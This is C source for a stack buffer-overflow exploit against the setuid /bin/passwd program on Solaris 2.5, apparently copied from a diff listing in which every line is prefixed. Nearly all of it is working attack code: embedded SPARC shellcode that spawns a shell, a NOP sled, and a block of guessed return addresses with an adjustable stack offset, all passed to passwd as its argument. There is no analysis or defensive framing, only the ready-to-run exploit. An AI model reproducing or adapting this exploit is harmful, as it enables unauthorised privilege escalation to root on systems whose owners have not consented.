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- /*
- This is for Solaris 2.5.(1) !
- With argv[1] you can modify the stack offset (+-500) if you have troubles
- ...
- */
-
- #include <stdio.h>
- #include <stdlib.h>
- #include <sys/types.h>
- #include <unistd.h>
-
- #define BUF_LENGTH 1100
- #define EXTRA 1200
- #define STACK_OFFSET 3800
- #define SPARC_NOP 0xa61cc013
-
- u_char sparc_shellcode[] =
- "\x82\x10\x20\xca\xa6\x1c\xc0\x13\x90\x0c\xc0\x13\x92\x0c\xc0\x13"
- "\xa6\x04\xe0\x01\x91\xd4\xff\xff\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e"
- "\x2f\x0b\xdc\xda\x90\x0b\x80\x0e\x92\x03\xa0\x08\x94\x1a\x80\x0a"
- "\x9c\x03\xa0\x10\xec\x3b\xbf\xf0\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc"
- "\x82\x10\x20\x3b\x91\xd4\xff\xff"
- ;
-
- u_long get_sp(void)
- {
- __asm__("mov %sp,%i0 \n");
- }
-
-
- void main(int argc, char *argv[])
- {
- char buf[BUF_LENGTH + EXTRA];
- long targ_addr;
- u_long *long_p;
- u_char *char_p;
- int i, code_length = strlen(sparc_shellcode),dso=0;
-
- if(argc > 1) dso=atoi(argv[1]);
-
- long_p =(u_long *) buf;
- targ_addr = get_sp() - STACK_OFFSET - dso;
-
- for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
- *long_p++ = SPARC_NOP;
-
- char_p = (u_char *) long_p;
-
- for (i = 0; i < code_length; i++)
- *char_p++ = sparc_shellcode[i];
-
- long_p = (u_long *) char_p;
-
-
- for (i = 0; i < EXTRA / sizeof(u_long); i++)
- *long_p++ =targ_addr;
-
- printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n",
- targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET);
- execl("/bin/passwd", "passwd", buf,(char *) 0);
- perror("execl failed");
- }
-